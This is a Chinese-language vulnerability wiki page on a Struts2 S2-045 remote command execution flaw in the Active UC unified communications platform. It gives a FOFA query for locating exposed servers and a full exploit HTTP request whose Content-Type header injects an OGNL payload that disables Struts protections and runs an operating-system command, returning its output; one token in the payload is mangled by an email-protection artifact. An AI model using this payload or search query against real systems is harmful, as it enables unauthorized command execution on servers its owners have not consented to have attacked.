menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Active UC chevron_right Active UC index.action 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Active UC index.action 远程命令执行漏洞.md
    2.28 KB / 2021-07-04 06:01:08
        # Active UC index.action 远程命令执行漏洞
    
    ## 漏洞描述
    
    网动统一通信平台 Active UC index.action 存在S2-045远程命令执行漏洞, 通过漏洞可以执行任意命令
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > Active UC
    
    ## FOFA
    
    > [!NOTE]
    >
    > title="网动统一通信平台(Active UC)"
    
    ## 漏洞复现
    
    登录页面如下
    
    ![image-20210626131045931](http://wikioss.peiqi.tech/vuln/image-20210626131045931.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    发送如下请求包
    
    ```
    POST /acenter/index.action HTTP/1.1
    Cookie: SessionId=96F3F15432E0660E0654B1CE240C4C36
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
    Charsert: UTF-8
    Content-Type: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170
    Cache-Control: no-cache
    Pragma: no-cache
    Host: 
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Connection: keep-alive
    Content-Length: 196
    
    -----------------------------18012721719170
    Content-Disposition: form-data; name="pocfile"; filename="text.txt"
    Content-Type: text/plain
    
    xxxxxxx
    -----------------------------18012721719170
    ```
    
    ![image-20210626131402560](http://wikioss.peiqi.tech/vuln/image-20210626131402560.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    links
    file_download